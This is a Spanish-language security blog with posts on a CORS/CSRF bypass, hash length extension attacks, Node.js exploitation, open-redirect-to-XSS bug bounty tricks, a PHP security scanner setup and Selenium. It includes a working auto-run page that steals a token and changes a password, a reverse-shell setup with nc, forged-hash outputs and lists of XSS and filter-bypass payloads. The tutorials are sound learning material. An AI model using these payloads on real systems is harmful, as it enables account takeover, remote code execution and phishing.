lunes, 14 de enero de 2019

CORS Bypass

Un CORS mal configurado nos permite ataques tipos CSRF, Obtener datos privados y mas. Aqui les dejo una entrada de CORS:

https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html

Y un ejemplo de Bypass CSRF:

<!DOCTYPE html> 

<html> 

<head> 

<script> 

function hack() 



    var xmlhttp; 

    if (window.XMLHttpRequest) 

      { 

          xmlhttp=new XMLHttpRequest(); 

      } 

        else 

      { 

          xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 

      } 

        xmlhttp.open("GET","http://192.168.239.141/index.php",false); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(null); 

    if(xmlhttp.status==200) 

    { 

        var str=xmlhttp.responseText; 

        console.log(str); 

        var n=str.search("token"); 

        var c=str.substring(n+14,n+46); 

         

        params = "token="+c+"&password=12345&password_again=12345"; 

  

        xmlhttp.open("POST","http://192.168.239.141/index.php",false); 

        xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 

        xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); 

        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(params); 

    } 



</script> 

</head> 

<body onload="hack();"> 

</body> 

</html>



Ataque de extension de longitud

¿Que es?

En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante. 

Código de ejemplo:



Uso:

?user  - pedimos la firma para el usuario


?admin - pedimos la firma para el administrador

?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario 


En caso de que la palabra no coincida con la firma generada nos va mostrar un mensaje de error. 


?sig=xxx&type=admin – nos muestra el usuario administrador 

Explotación 

Haremos uso de un script: 




Hash extender en este caso soporta los siguientes hashes para su explotación: 

CRC32, MD5, SHA1, SHA256 y SHA512 


Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y damos clic en enviar 


Generamos una nueva firma

arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea  --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html 

Type: md5 

Secret length: 7 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80X%3aadmin 

  

Type: md5 

Secret length: 8 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%60%3aadmin 

  

Type: md5 

Secret length: 9 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80h%3aadmin 

  

Type: md5 

Secret length: 10 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80p%3aadmin 

  

Type: md5 

Secret length: 11 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80x%3aadmin 

  

...

Type: md5 

Secret length: 31 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%18%01%3aadmin 

  

Type: md5 

Secret length: 32 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80+%01%3aadmin 

  

Type: md5 

Secret length: 33 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%28%01%3aadmin 



Donde los parámetros son los siguientes: 

-f xxx le indicamos el tipo de hash 

-s xxxx le indicamos la firma que tenemos valida 

--data 'xxx' le indicamos el dato conocido en este caso user 

--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso  

--out-data-format=xxx le indicamos el formato de salida que le va dar 

--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo 

--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo 



El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1. 


Para realizar la prueba con hashpump lo hacemos de la siguiente manera: 


arthusu@SEGINF-RED03:~$ hashpump 

Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea 

Input Data: :user 

Input Key Length: 32 

Input Data to Add: :admin 

12005b20185a5b3feb166cf9017ffa56 

:user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin 



Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea 

Despues el dato con el que comenzamos user 

Y el tamaño de la firma en este caso 32 

Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega 



Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56 

Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin 



El cual transformamos \x a % quedando asi:  


user%80(%01:admin

Al ejecutar el payload nos da el resultado correcto. 


Conclusión: 


Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: https://hackerone.com/reports/251572 

Les dejo su formato en PDF ya que los nullbytes no se aprecian correctamente en la entrada:
https://www.mediafire.com/file/yaq1eka7yahtvwg/ataque_extension_de_longitud.pdf/file

jueves, 22 de noviembre de 2018

Node JS: Seguridad y Explotacion

Introducción

Node.js es un entorno en tiempo de ejecución multiplataforma, de código abierto, para la capa del servidor basado en el lenguaje de programación ECMAScript, asíncrono, con I/O de datos en una arquitectura orientada a eventos y basado en el motor V8 de Google.

Material:

https://github.com/ajinabraham/Node.Js-Security-Course

Les dejo el siguiente enlace es lo que necesitamos para hacer pruebas de nuestras explotaciones.

Descargar node js: https://nodejs.org/es/download/

Clonamos el repositorio utilizando git: 
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

Accedemos a la carpeta desde el cmd o terminal.

Explotación

* Alcance de Variables


Tenemos el siguiente código del archivo global_scope.js, en este ejemplo estamos utilizando un framework llamado express que simplifica mucho el trabajo, para instalar express utilizamos el siguiente comando:

npm install express <- Esto hace que se instale el modulo express

node global_scope.js <- Esto ejecuta el archivo para el servidor node


Ahora el problema reside en que si accedemos desde el navegador por ejemplo chrome se muestra la siguiente pantalla:


Lo cual es normal, si accediéremos esta variable aumentaría lo cual esta bien, pero lo que pasa aquí es que si accedemos desde otro navegador, otra pc este archivo como esta en solo en el mismo archivo ejecutándose siempre en node va seguir y seguir en aumento lo cual esta mal. Desde firefox se mira asi:


* HTTP Parameter Pollution

El duplicar algunas variables aveces hace que el lenguaje de programación tome la primera ocurrencia de la misma, la ultima o ambas, en el caso de NodeJs toma todas. Esto nos da paso a diferentes tipos de evasión ante algunos firewalls o múltiples tipos de ataque en diferentes variables que son aceptadas por NodeJS.


Tenemos el siguiente código hpp.js, el cual hace una petición y muestra la variable id en el body asi como en consola. El problema reside cuando ejecutamos varias veces las variables, NodeJs toma todas las variables que le enviemos:



* Funcion eval()  - RCE (Remote Code Execution)

Como su palabra lo dice eval() evalúa un código, esto puede ser muy peligroso ya que podemos matar el proceso ejecutándose osea el servidor mismo ya que es un solo archivo, realizar un Dos al navegador, etc. Otras funciones igual de peligrosas son:

 - setInterval(codigo,2)
 - setTimeOut(codigo,2)
 - new Function(codigo)


En este ejemplo tenemos el siguiente código eval.js, el cual lo que hace es que toma una variable name y esta misma la evalua. Por ejemplo:



Vemos como se imprime un hola en consola, esto esta evaluando nuestro código nodejs, podríamos ejecutar algo mas peligroso como cerrar el proceso del servidor:

Que es lo mas peligroso que podríamos llegar hacer? un RCE podemos ejecutar comandos del sistema con el simple echo de crear un reverse, en este ejemplo utilizamos el generador en python esto hace que la cadena que nos genere la interprete en una sola linea codificada:


Generamos el vector de ataque usando: 
python nodejsshell.py 127.0.0.1 666

donde 127.0.0.1 es la ip que esta a la escucha
y 666 es el puerto


Usamos:
nc -lvp 666
Para poner el puerto 666 a la escucha de todas las conexiones entrantes.

Aquí vemos como realizamos la conexión reversa efectivamente. El script en python esta realizado especialmente para una terminal de linux por lo que les recomiendo utilizar una terminal a la escucha usando netcat o instalar terminal de ubuntu si tienen windows 10 desde la tienda de windows.

* Entradas no validadas o verificadas

Al no validar las entradas en la aplicación web puede llegar a tener muchas de las vulnerabilidades que tienen las aplicaciones web comunes tal y como es: SQL Injection (En mongoDB es mas común en nodejs), XSS, LFI, SSRF, IDOR en el blog están varias entradas sobre este tipo de ataques ya que es muy común poder encontrarlas, les recomiendo usar el buscador y pegarles una leída y normalmente se encuentran en el top 10 de owasp. Veremos alguna de ellas:

XSS

Gracias a un XSS podemos inyectar codigo javascript dentro de la pagina.

Tenemos el siguiente archivo simple_server.js el cual contiene una variable name la cual es mostrada en el body de la pagina. Aquí tenemos un claro caso de un XSS reflejado. 



LFI

Con LFI podemos encontrar archivos dentro del servidor locales, asi como intentar escalar privilegios.


El archivo es el siguiente dir_trasversal.js el cual pide un archivo dentro de la variable load, para cargarlo y mostrarlo en la pagina web.



* Ataque Denegacion de servicio en Expresiones Regulares

Uno de los ataques mas comunes puede llegar a suceder en NodeJS es que usando alguna entrada grande puedes causar un buffer overflow y hacer que el servidor caiga, realizando fuzzing o ataques brute force en aplicaciones NodeJS también puedes lograr una caída del server.



En este caso tenemos el siguiente archivo redos.js el cual contiene un parámetro email el cual es validado por una expresión regular que en realidad sea un email.




En el siguiente ejemplo ponemos un email valido y nos arroja un tiempo rápido de validación, pero si realizamos un ataque buffer overflow agregando demasiados caracteres para que la pila se desborde causa un Dos en el servidor, esto también sucede cuando el servidor recibe muchas peticiones con múltiples threads como un dirbuster, dirsearch o brute force.

* Information Disclousure

Esto es importante ya que nos ayuda a encontrar otros posibles ataques, es muy comun en la fase de reconocimiento.

 - Cabeceras
 - Cookies por defecto
 - Paginas de Error



* Seguridad en las cabeceras

La seguridad en las cabeceras nos ayudan para saber si la aplicación permite CORS, si podemos ver las cookies en un alert, si podemos ejecutar javascript usando xss, etc. Las cabeceras pueden a llegar un aliado en nuestra aplicación si están bien configuradas.

https://securityheaders.com/

Puedes checar las cabeceras inseguras desde esta pagina.
como protección en NodeJS puedes utilizar la librería de helmet: https://github.com/helmetjs/helmet

Revisando el código caja blanca

Por ultimo si tienes el codigo puedes realizar un escaneo usando NodeJS Scan: https://github.com/ajinabraham/NodeJsScan

El cual es gratuito y muy completo, para realizar esta tarea automatizada.

lunes, 22 de octubre de 2018

PHPCS Security Audit en XAMPP


phpcs security audit es un conjunto de reglas PHP_CodeSniffer que encuentra vulnerabilidades y debilidades relacionadas con la seguridad en el código PHP.

Github: https://github.com/FloeDesignTechnologies/phpcs-security-audit

1.- Abrir Panel de XAMPP > SHELL > pear install Archive_Tar 
2.- Cambiar en C:/xampp/php/pear/Archive/Tar.php
Si marca error, realizar: 
$v_att_list = & func_get_args(); 
a
$v_att_list &= func_get_args();

PD: Funciona en PHP 7.2 usando XAMPP

3.- pear install PHP_CodeSniffer
4.- copiar la carpeta Security/ dentro de  C:/xampp/php/pear/PHP/CodeSniffer/Standards
5.- phpcs --config-set installed_paths C:\xampp\php\pear\PHP\CodeSniffer\Standards\Security
6.- en la consola cmd ejecutar phpcs -i verificar si esta Security
7.- cmd > phpcs --standard=Security C:/xampp/htdocs/subdomainScanner > c:/users/pc/output.txt (nos tira un resultado output.txt con los resultados)


viernes, 12 de octubre de 2018

Utilizando Redireccionamientos abiertos para bug bounties

Introduccion

Esto es solo una publicacion rapida que describe algunos consejos utiles para identificar vulnerabilidades de redireccionamiento abierto y tambien como utilizarlas para crear vulnerabilidades mas graves.

A pesar de que son vulnerabilidades de bajo riesgo, todavia hay muchos programas de recompensas que dan pagos por ellos, y generalmente se pueden convertir en XSS con bastante facilidad, lo que permite un pago en practicamente todos los programas de recompensas, aqui hay algunos ejemplo de programas que pagan por redirecciones abiertas:

* Shopify: $500
* Okta: $500
* Teslamotors: $500

Los redireccionamientos abiertos (para cualquier persona que no lo sepa) son simplemente enlaces donde puede especificar un enlace a una URL remota desde una URL confiable y redirigira al usuario alli sin una advertencia, lo que puede llevar a un phishing entre otros riesgos, aqui un ejemplo:

http://www.construcciononline.com.mx/redirect.php?clasif=296&edo=&mpio=&type=8&url=arthusu.blogspot.com&path=/busca.php&id_cliente=148547

en este caso, un atacante podria redirigir desde construcciononline a arthusu.blogspot.com

* ?url=
* ?redirecturl=
* ?returnUrl=
* ?go=
* ?return=
* ?exitpage=
* ?fromUrl=
* ?fromuri=
* ?redirect_to= 

Hay muchos mas, estos son algunos ejemplos de como podemos darnos cuenta facilmente o buscar dorks sobre las redirecciones de URL.

Tecnicas de Bypass

A continuacion pasare algunos metodos de redireccion (que no sean simplemente enlaces a la URL):

* //arthusu.blogspot.com - si http: esta siendo filtrado
* https:arthusu.blogspot.com - si // se esta filtrando
* \/\/arthusu.blogspot.com/ - el navegador trata \/\/ como //
* /\/arthusu.blogspot.com - igual que arriba
* //arthusu[porcentaje00].com - nullbyte para omision del filtro, en lugar de porcentaje es % sin [] corchetes
* //arthusu%0a%0d.com - CRLF puede omitir el filtro
* http://arthusu.com@sitioaleatorio.com - redirigira a sitio aleatorio que esta despues del @ (aveces pide permiso al usuario)
* http://arthusu.blogspot.com/?x=http://sitioconfiable.com - Funciona cuando sitioconfiable.com esta en la lista blanca de sitios
* %61%72%74%68%75%73%75%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d - codificado en url encode
* YXJ0aHVzdS5ibG9nc3BvdC5jb20= - Codificado en base64
* arthusu。blogspot。com - Algunos navegadores como firefox soportan esta caracteristica, que normaliza la entrada lo que hace es que 。se muestre como .
* arthusu%E3%80%82blogspot%E3%80%82com - lo mismo que lo anterior pero codificado

Ademas de lo anterior, otro metodo que puede permitir el abuso de redireccionamientos abiertos es la contaminacion de parametros HTTP, por ejemplo, si la URL vulnerable es ejemplo.com/redir.php?url=http://arthusu.blogspot.com pero no redirige luego podria intentar llamar al mismo parametro GET dos veces, por ejemplo, ejemplo.com/redir.php?url=http://arthusu.blogpost.com&url=http://arthusu.blogspot.com/
Tambien he visto redireccionamientos en los que la redireccion a una URL no es permitido, pero la direccion a la IP directa funciona bien.

Convirtiendo redirecciones en XSS

Ahora, una redireccion es buena pero lo ideal es que quieras apuntar a falsificacion de contenido o XSS (tambien se puede con SSRF, pero se vera en otra publicacion) para aumentar tu pago. A continuacion detallare algunos metodos para hacerlo..

Aqui esta el mas obvio, redireccionamiento directo a js:// URI Schema

javascript:alert(1337)

alert.call tambien se puede utilizar:

javascript:alert.call(this.%20document.domain)

por supuesto, si se filtra la alerta, puede intentar usar 'prompt', 'confirm',etc

Si el parentesis activa WAF, puede usar:

javascript:confirm`1337`

Para acceder al document.domain, document.cookie,etc. A traves de cadenas de plantillas, puede utilizar uno de los dos metodos, este primero es el mas elegante:

javascript:prompt`${document.domain}`

Si el metodo anterior no funciona por algun motivo, esto tambien se puede lograr a traves de setInterval:

setInterval`alert\%0A28document.domain\%0A29`

CRLF puede utilizar para eludir el WAF:

javascr%0a%0dipt%0a%0d:alert`1337`

Si la URL suministrada se refleja en el codigo de la pagina dentro del contexto de una etiqueta de script (por ejemplo, se carga dentro de una etiqueta script y con el valor document.location) entonces puede usar el siguiente payload para romper la etiqueta de secuencia de comandos y activar una alerta:

";alert(0);//

Tambien he encontrado que un payload que funciona comunmente con parametros relacionados con la redireccion es el siguiente:

'-confirm(0)-'

o

"-confirm(0)-"

Si ninguno de los metodos anteriores funciona e intenta redirigir a js:// URI esta generando un error de contenido dañado o HTTP 500, entonces puede intentr redirigir a una URI data:// como:

data:text/html,<script>alert(1337)</script>

Si las etiquetas HTML estan activando una respuesta WAF, tambien puede codificar en base64 la entrada para la URI asi:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

Ahora debe tener en cuenta que el metodo anterior que usa data:// tecnicamente no es un XSS (ya que el script se carga en un contexto nulo en lugar del contexto del sitio destino) todavia se puede usr para el phishing, entre otras cosas, y representa mas de un riesgo que un redireccionamiento abierto regular (aunque un menor riesgo que XSS), tambien debe tener en cuenta que si se agrega el relleno al URI, puede hacer que el navegador muestre data:// o incluso una barra de direcciones en blanco, que parece sospechoso que un monton de entradas codificadas en base64. Con algunos trucos adicionales, tambien puede hacer que parezca que muestra la URL de origen valida (por ejemplo, http://ejemplo.com/data:text/html;base64,blahblahblah) que puede engañar facilmente al usuario habitual de una computadora.


Espero que hayan aprendido una o dos cosas de esto.

sábado, 29 de septiembre de 2018

Selenium Automatizando el navegador PHP-WebDriver by Facebook

¿Que es Selenium?

Selenium automatiza los navegadores. ¡Eso es! Lo que hagas con ese poder depende totalmente de ti. Principalmente, es para automatizar aplicaciones web con fines de prueba, pero ciertamente no se limita a eso. Las tareas de administracion aburridas basadas en la web pueden (y deberian) ser automatizadas tambien.

Selenium tiene el soporte de algunos de los proveedores mas grandes de navegadores que han tomado (o están tomando) pasos para hacer de Selenium una parte nativa de su navegador. También es la tecnología central en muchas otras herramientas de automatización del navegador, API y frameworks.

¿Que parte de Selenium es apropiada para mi?

Selenium Web Driver

Si quieres:
* Cree robustos paquetes y pruebas de automatizacion de regresion basados en el navegador
* Escalar y distribuir scripts en muchos entornos

Selenium IDE

Si quieres:
* Crear scripts rapidos de reproduccion de errores
* Crear scripts para ayudar en las pruebas exploratorias asistidas por la automatizacion.

Descargar Selenium

Puedes dirigirte a la pagina web de Selenium y en la seccion Download: https://www.seleniumhq.org/download/

Puedes elegir la que mas se adapte a tu proyecto ya sea selenium ide o selenium web driver. En este minitutorial mostraremos algo basico de los dos.


Selenium IDE

En caso de que quieras que sea solamente una accion en especifica siempre la misma accion te recomendaria usar Selenium IDE. El cual se encuentra disponible para firefox y chrome en version complemento, yo utilizare para firefox en este caso:
https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/

En el siguiente vídeo veremos como en Selenium entramos a la pagina de mi BLOG, después entramos a una publicación y después volvemos a la pagina inicial, esto es algo básico ya que con Selenium podemos meter datos en un campo, y muchas cosas mas que normalmente podemos hacer manualmente con el navegador.




También puedes exportar tu código a diferentes partes y hacer mas rápido una ejecución.

Selenium Web Driver

¿Que diferencia hay entre Selenium IDE y Selenium Web Driver?

La mayor diferencia es que con Selenium IDE grabamos las cosas y las reproducimos, pero si quieres que algo sea dinamico y con interaccion debes utilizar programacion y con Selenium Web Driver lo puedes lograr.

Lo primero que debemos realizar es descargarnos el driver de nuestra preferencia se encuentra dentro de la misma pagina oficial de selenium, en mi caso seguire usando firefox:

https://github.com/mozilla/geckodriver/releases

Hay que agregar el driver a variables de entorno.

Y usare tambien el server standalone de selenium en este caso yo utilizare la version 3.8.1:

http://selenium-release.storage.googleapis.com/index.html

Utilizare el driver de PHP creado por facebook:

https://github.com/facebook/php-webdriver

Lo primero a realizar es correr mi server standalone de selenium:




java -jar selenium-server-standalone-3.8.1.jar -enablePassThrough false

Por ultimo podemos correr nuestro proyecto usando la consola o desde web, no explicare el uso del driver ya que facebook tiene una gran wiki aqui: https://github.com/facebook/php-webdriver/wiki




Por ultimo decirles que con Selenium tenemos una herramienta poderosa para automatizacion de tareas y podriamos hacer cosas grandiosas con el. Un ejemplo:



facebook from Ikizler Kadioglu on Vimeo.


Por esta introduccion seria todo y les invito a probar Selenium en sus proyectos de automatizacion.